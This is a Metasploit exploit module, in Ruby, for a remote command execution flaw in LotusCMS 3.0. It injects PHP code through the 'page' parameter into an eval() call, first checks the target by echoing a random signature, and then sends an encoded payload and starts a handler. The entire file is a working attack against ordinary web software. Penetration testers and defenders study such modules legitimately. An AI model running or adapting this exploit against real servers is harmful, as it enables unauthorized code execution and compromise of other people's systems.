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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanUniqueQuery def initialize(info = {}) super(update_info(info, 'Name' => 'LotusCMS 3.0 eval() Remote Command Execution', 'Description'=> %q{ This module exploits a vulnerability found in Lotus CMS 3.0's Router() function.This is done by embedding PHP code in the 'page' parameter, which will be passed to a eval call, therefore allowing remote code execution. The module can either automatically pick up a 'page' parameter from the default page, or manually specify one in the URI option.To use the automatic method, please supply the URI with just a directory path, for example: "/lcms/". To manually configure one, you may do: "/lcms/somepath/index.php?page=index" }, 'License'=> MSF_LICENSE, 'Author' => [ 'Alligator Security Team', 'dflah_ <dflah_[at]alligatorteam.org>', 'sherl0ck_ <sherl0ck_[at]alligatorteam.org>', 'sinn3r'#Metasploit-fu ], 'References' => [ [ 'OSVDB', '75095' ], [ 'URL', 'http://secunia.com/secunia_research/2011-21/' ] ], 'Payload'=> { 'Space' => 4000, # only to prevent error HTTP 414 (Request-URI Too Long) 'DisableNops' => true, 'BadChars'=> "#", 'Keys'=> ['php'] }, 'Platform'=> [ 'php' ], 'Arch'=> ARCH_PHP, 'Targets' => [[ 'Automatic LotusCMS 3.0', { }]], 'Privileged'=> false, 'DisclosureDate'=> 'Mar 3 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, 'URI', '/lcms/']), Opt::RPORT(80), ], self.class) end def target_url uri = datastore['URI'] # Make sure uri begins with '/' if uri[0] != '/' uri = '/' + uri end # Extract two things: # 1. The file path (/index.php), including the base # 2. GET parameters from the GET query uri = uri.scan(/^(\/.+)\/(\w+\.php)*\?*(\w+=.+&*)*$/).flatten base= (uri[0] || "") + '/' fname = uri[1] || "" query = uri[2] || "" params = queryparse(query) rescue "" # Use the user-supplied query if there's one, if not we'll auto-detect # by regexing a hyper-link if base.empty? or fname.empty? or params.empty? res = send_request_cgi({ 'method' => 'GET', 'uri'=> datastore['URI'] }, 20) if res and res.code == 200 uri = res.body.scan(/<a.*href=['|"](\/*index\.php)\?.*(page=\w+)['|"].*>/).flatten @uri = base + uri[0] @arg = uri[1] print_status("Using found page param: #{@uri}?#{@arg}") else @uri = "" @arg = "" end else @uri = base + fname @arg = "page=#{params['page']}" end end def check target_url if @uri.empty? or @arg.empty? print_error("Unable to get the page parameter, please reconfigure URI") return end signature = rand_text_alpha(rand(10)+10) stub = "${print('#{signature}')};" sploit = "');#{stub}#" response = send_request_cgi( { 'method'=> 'POST', 'uri' =>@uri, 'data' => @arg + Rex::Text.uri_encode(sploit) }, 20) if response and response.body =~ /#{signature}/ print_status("Signature: #{signature}") return Exploit::CheckCode::Vulnerable else print_error("Signature was not detected") return Exploit::CheckCode::Safe end end def exploit return if not check == Exploit::CheckCode::Vulnerable begin sploit = "');#{payload.encoded}#" print_status("Sending exploit ...") res = send_request_cgi( { 'method'=> 'POST', 'uri' =>@uri, 'data' => @arg + Rex::Text.uri_encode(sploit) }, 20) handler rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout rescue ::Timeout::Error, ::Errno::EPIPE end end end |
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